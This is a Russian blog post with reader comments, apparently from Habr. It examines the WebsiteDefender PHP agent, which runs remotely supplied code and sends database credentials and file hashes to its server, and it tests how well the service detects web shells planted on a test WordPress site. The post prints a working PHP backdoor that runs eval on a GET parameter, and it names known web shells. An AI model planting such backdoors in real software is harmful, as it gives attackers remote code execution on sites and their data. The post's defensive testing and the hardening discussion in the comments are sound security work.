Как работает WebsiteDefender

    Несколько недель назад заметил в плагине для Wordpress wp security scan рекламу другого сервиса websitedefender для защиты сайтов. На сайте кроме стандартной маркетинговой шелухи толком ничего полезного не нашел, но несколько заинтриговали слова о революционно ином способе работы этого сервиса, отличающемся от уже существующих. Гугл ничего полезного не выдал о том, как же все-таки работает этот сервис.

    Исторически так сложилось, что большинство считает достаточным защиту только от атак извне — SQL, XSS-инъекций, LFI\RFI, CSRF и т.п, забывая про атаки на файлы веб-приложений. Те же WAF, такие как mod_security, phpids — яркий тому пример.

    Мне это кажется не очень справледливым, поэтому я захотел рассмотреть возможности сервиса WebsiteDefender, который по описанию должен уметь защищать файлы веб-приложений от модификаций.

    Предлагается скачать некий агент – php-file, в котором целый набор функций для шифрования и… конструкция
    $success = @eval('?>'.$request->params);

    Вопрос, что же делает этот php код, возник еще до его скачивания, а после беглого просмотра и нахождения такого интересного арсенала появляется еще больше вопросов. Хотя компания вроде бы довольно известная — Acunetix, ставить кота в мешке себе на сайт вряд ли кому захочется.

    Ответ поддержки на запрос предоставить информацию, что делает их код, и результаты своего исследования работы сервиса под катом.

    WebsiteDefender не предоставляет деталей своей работы


    Из переписки приведу только самое главное.

    Я: I just want know what your php code do. Not common information such as ‘protect website …’ but more techical details. What information it collect and send to your server, etc. Because now it is blackbox for me.

    Ответ поддержки:
    We don’t provide specific details.

    However remotely we cannot determine thing like for example if a WordPress user account password is weak, or if a plugin is vulnerable or not. Thus WSD agent is used to retrieve such information from a remote website and send it to our server for analysis. We basically look directly into the code and database and we analyse what there is.

    Весьма интересно получается: они предоставляют сервис для защиты веб-сайтов, но конкретные детали того, что делает их агент, не раскрывают. Из последнего ответа стало примерно понятно, что собирается и отправляется.

    Что получает и отправляет php-агент WebsiteDefender


    Чере пару дней я поставил на домашний ноут клиент dyndns, зарегал тестовый хост, поставил apache, php, mysql и wordpress, добавил сброс в лог входных и выходных данных их агента и стал периодически проверять лог.

    Желающие могут сами посмотреть код агента, в нем все просто. Самое главное — это то, что после всевозможных проверок на выполнение запускается внешний php-код, присланный роботом WebsiteDefender. Получается этакий shell, который используется не для взлома, а вроде бы для защиты сайта.

    Собираются и отсылаются следующие данные:

    1. Версия php, массив $_SERVER
    2. Структура каталогов и файлов — список файлов заданных расширений (php, html, js, htaccess, ini, log и т.д.), а затем и их sha1-хэши, дата изменения, права доступа
    3. Параметры подключения к базе — название, хост, логин и пароль
    4. Какие-то короткие строки и их md5-хэши — видимо, для проверки, что агент работает.

    Допустим, вас не смущает то, что сервис в обмен на обещание защитить ваш сайт требует установить агент, через который в будущем может выполняться любой код.

    Я решил проверить, как быстро будут найдены следы взлома сайта:
    1. По разным каталогам сайта раскидал старенький Web Shell by oRb запакованный и исходник, какой-то древний shell от Antichat
    2. В футер темы Wordpress вставил невидимый iframe
    3. Поправил index.php, добавив
      
      if ( $_REQUEST['evil'] == 1 ) {
          eval( '?>'. $_GET[ 'cmd' ] );
          exit();
      }

    Все изменения были обнаружения через 2 дня во время очередного полного сканирования файлов сайта, до этого робот спокойно себе получал md5-хэши. Интересно, что в админке Web Shell by oRb был помечен как критическая угроза и определен по разным шаблонам:
    /wp-admin/network/wso2.php, шаблон — eval($_POST['p1']
    /wp-admin/includes/wso2_pack.php, шаблон — <?php # Web Shell by oRb.

    А шелл от Античата скромно числился среди новых файлов. Скорее всего, самодельные нераспространенные упакованные шеллы этот сервис точно также не пометит критическим статусом, хотя исполняемый php прежде всего стоило бы выделять.

    Вместо выводов


    Наверняка, у вас даже в мыслях не было неглядя устанавливать чужие скрипты для защиты своего сайта. Топик носит исключительно информационных характер. Я всего лишь хочу на удачно подвернувшемся примере показать, что не стоит слепо полагаться на внешние сервисы — для защиты своих веб-приложений от модификаций их файлов и загрузки шеллов вполне достаточно даже простого самописного файлового ревизора, который при желании пишется за пару часов, но обладает нужным вам временем реакции и умеет восстанавливать файлы. Не говоря уже о настройке специализированных утилит на сервере.
    Поделиться публикацией

    Комментарии 24

    • НЛО прилетело и опубликовало эту надпись здесь
        0
        И что же? Редирект на youtube?
        • НЛО прилетело и опубликовало эту надпись здесь
            +4
            Я тоже удивляюсь, как людей конторы веб-девелоперские иногда разводят.
            Моему другу недавно сделали «сайт» с флешом и всякими рюшечками за 25000 грн. = $3125.
            Сайт визитка, закачка прайсов, и флешовый рекламный баннер :-)

            Причем когда начали проверять, оказалось что дизайн полностью содрали с сайта конкурента :-)
              +3
              А потом честным разработчикам перепадает ТАКАЯ головная боль, что ой-ой-ой. Особенно радуют фразы а-ля: «Мы заплатили за сайт 25 000, за такие деньги его 100% делали профессионалы. Мы не будет ничего менять.»
                +2
                Помню похожий случай, попросили дописать вывод списка последних тем форума (рнрВВ2) на главную страницу сайта, на таком «супер-пупер движке за пять кило-зелёных». Открыл исходники, думал умру от смеха. Когда сказал заказчику что его надули в прямом смысле, он сказал что-то типа «да кто ты такой, эти люди большие бабки берут, не могут они плохого сделать»
                  +1
                  И еще при этом говорят нам надо сделать вот тут совсем немного за 2000р., а когда слышат, что это стоит 20.000р., то с удивленным видом говорят: «да нам за столько весь сайт сделали.»
                  +1
                  Расскажите, пожалуйста, как потом разруливали ситуацию и наказывали исполнителя.
                    0
                    Еще никак.
                    это только на прошлой неделе выяснилось. А друг уехал на отдых как раз.
            0
            Используйте нормальные WAF'ы, вот и все. Ярким примером может служить продукция компаний Imperva/Radware/Fortinet, например.
              +3
              Да уж. В прошлом году писал подобный модуль защиты от изменения файлов для своего велосипеда. По итогам работы спасло много нервов пользователям. Думаю, что разработчики смс должны по умолчанию включать такие гварды в свои программы.
              Из того, что умеет мой защитник
              — делает базу контрольных сумм файлов в базу (есть 2 вариант всех файлов или только часто вскрываемых.)
              — делает бекап файлов
              — проверяет файлы на изменение по расписанию и в измененных сравнивает сигнатуры(есть возможность их обновления с нашего сайта)
              — если находит новые файлы то шлет письмо админу с отчетом и ссылкой на рабочий последний бекап
              — если в измененных находит вирусы или шеллы, то делает бекап и помещает их в карантин. Шлет отчет админу и предлагает отправить файлы на анализ нашей поддержке
              — из отчета или из настройки ативируса в админку нужно принять изменения файлов, если он их менял и пересчитать новую контрольную сумму файлов, чтобы больше не ругался

              Ссылка на Guard-модуль антивируса.
                0
                А что, у нас уже веб-серверу дают права на изменение файлов скриптов? Куда катится мир?

                Лет 15, если не больше, твердят: сервер должен иметь права на запись исключительно в определённые директории (временные файлы, кэши, аплоады), при этом эти директории НЕ ДОЛЖНЫ быть доступны через веб.
                  0
                  Кроме веба есть еще и FTP. Его тоже запретить?
                    +3
                    Насчёт «запретить» — не знаю, но я, как старый админ-параноик, склонен пользоваться SFTP по ключу.

                    К сожалению, современные тенденции вебмастеринга ведут к тому, что веб-программисты повально не задумываются о безопасности вообще. Я понимаю, когда Вася Пупкин покупает себе shared hosting для странички «обо мне и моей собачке Жучке» — но я категорически отказываюсь понимать, когда достаточно крупные веб-проекты экономят на грамотном админе.

                    Безопасность — вещь комплексная, её нельзя оценивать никак иначе.

                    Не давайте PHP доступа к исполнению бинарников, кроме необходимых для проекта. Запретите в .htaccess доступ ко всем файлам, кроме перечисленного списка (index.php, basket.php, showsomething.php). Запретите directory listing. Контролируйте софт, который установлен на машине — apache, php, mysql, ftpd, всё прочее. Какие версии? Не было ли обнаружено в них багов? Читайте багтрак, принимайте решения сразу, как только стало известно о какой-то проблеме. Проверьте, какие сервисы торчат наружу, если в этом нет необходимости — переведите их на локалхост. Закройте доступ ко всем портам на файрволле, откройте необходимые — 80, 443, 22.

                    Это всё задачи, которые должен выполнять админ сервера. Он же должен проводить аудит разрабатываемого программистами кода и бить по рукам, если что. Кстати, раньше обязательным правилом хорошего тона было держать на сервере tripwire или аналогичный софт, который как раз и выполнял подсчёт контрольных сумм файлов и орал, если что-то изменилось.

                    Тогда и проблем с утекшими смсками и аналогичных можно было бы избежать :)
                      +1
                      Все верно с одной стороны, с другой стороны крупный проект (со своим сервером, админом и пр) просто не нуждается в подобных скриптах, так как все тоже самое можно сделать при помощи серверного софта.
                      Это решение как раз для мелких и средних сайтов расположенных на shared-хостингах… Кто им там позволит разворачивать «тяжелую артиллерию»?
                        0
                        При нынешних ценах на VPS — любой «коммерческий» сайт, по идее, может себе это позволить. Но в целом да — лучше уж такие скрипты, чем полная бесконтрольность.
                        0
                        или аналогичный софт, который как раз и выполнял подсчёт контрольных сумм файлов и орал, если что-то изменилось.

                        rpm -V для RH-based дистров
                        debsums для Debian-based
                        естественно, это касается только пакетного софта
                          0
                          Нет, их есть смысл использовать только как одно из средств при проведении аудита системы. В реальной ситуации надо проверять чексумы конфиг-файлов, определённого содержимого /var (кронтабы, например) и прочее — то есть без специализированного софта не обойтись всё равно.
                            0
                            чексуммы всего и вся есть смысл проверять если система представляет из себя замкнутую среду :)
                            впрочем, если некто получит администраторские привелегии на такой, то скорее всего плакали все ваши ухищрения
                              0
                              Кто говорит о «всего и вся»? Безусловно, для каждой системы список контролируемых файлов будет свой.

                              Анализ же контрольных сумм нужен не для предотвращения взлома, а для своевременного оповещения об оном. Ежу понятно, что если стало известно, что система была скомпрометирована — то её эксплуатировать нельзя, а вот узнать,

                              Кроме того, с вышеописанными тенденциями — вовсе необязательно получать привилегии администратора. Ну как пример — взломали какое-нибудь веб-приложение, а тут апач с правами записи в /var/www — и давай пихать туда всякие пхпшеллы. Вот в такой ситуации tripwire очень даже поможет.

                              Безусловно, панацеи — нет. Защита должна строиться из очень многих уровней, проверка контрольных сумм критичных файлов — только один из них.
                    0
                    Писать на PHP «антивирусы» (в реальности видимо — примитивные сканеры с распознаванием зловредов на регулярках) — это уже по моему, совсем треш какой-то. Обходится, подозреваю, банально обфускацией кода. Не знаю как вы, а я плагины для вордпрессов и джумлы вообще за софт не считаю — так, скрипты какие-то, на коленках написанные.

                    Насчет FTP - я на одном сервере вообще не ставил FTP, код деплоил из репозитория скриптом, и удобно, и безопасно.

                    Просто не надо хранить пароли в Тотал Коммандере (или другом FTP-клиенте), и не надо подхватывать вирусы. А если у вас паранойя — раз в несколько месяцев просматривайте логи подключений (IP-адреса) по FTP/SSH, или слепите примитивный скрипт, который будет вам слать письмо при заходе с нового IP-адреса. Но проще все же не сохранять пароли и не ловить вирусы.

                    p.s. Насчет запрета на запись: честно, это крайне неудобная штука, при том что FTP пользователь все равно может менять любой файл, а веб-серверу доступен /tmp + папки для аплоада (для того, чтобы загрузить туда например exploit). Реальную защиту мне кажется, дает только запирание всего веб-сервера в тюрьму (или виртуализация).
                      0
                      сигнатуры зловредов обычно не нужны, достаточно просто сверять контрольные суммы

                      кстати, мой вариант спокойно противостоял ифреймеру, который использовал уязвимость в по сервера — пока другие мучались, вычищая вручную, мой скрипт прибивал заразу сходу, пока не поменял хостера на более толкового

                      но вообще да, лучше свой сервер со своим софтом
                      0
                      выложите полный код этого чудесного WebsiteDefender
                        0
                        Это нарушение закона, нет?

                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                      Самое читаемое